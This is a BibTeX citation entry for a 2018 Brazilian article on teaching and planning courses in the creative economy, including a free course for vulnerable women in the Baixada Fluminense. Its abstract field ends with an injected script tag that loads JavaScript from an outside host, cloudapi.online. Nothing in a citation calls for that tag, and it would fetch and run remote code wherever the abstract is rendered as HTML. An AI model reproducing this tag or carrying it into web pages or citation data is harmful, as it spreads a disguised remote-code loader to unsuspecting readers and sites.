@article{Santos_2018, place={Florianópolis}, title={Docência e planejamento de cursos para as áreas da Economia Criativa}, volume={2}, url={https://www.revistas.udesc.br/index.php/ensinarmode/article/view/11676}, DOI={10.5965/25944630212018149}, abstractNote={<p>O artigo tem como objetivo discutir a atuação docente na formulação de cursos em instituições públicas de ensino. Para discutir esta atuação, a metodologia proposta é a de formulação de um curso cujas etapas envolvem o diagnóstico e análise do histórico, características e necessidades/demandas do local em que o curso se insere, incluindo o acompanhamento do público que atualmente frequenta a instituição de ensino, alinhamento com a proposta institucional e proposta de curso que se fundamente nestas informações levantadas. Também apresentamos, no artigo, os resultados do planejamento de um curso livre que tem como referência as noções de economia criativa e que busca atender a demanda específica de formação de mulheres, população mais vulnerável socialmente, em uma região empobrecida localizada na Baixada Fluminense/Rio de Janeiro.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={Revista de Ensino em Artes, Moda e Design}, author={Santos, Heloisa Helena de Oliveira}, year={2018}, month={fev.}, pages={149–172} }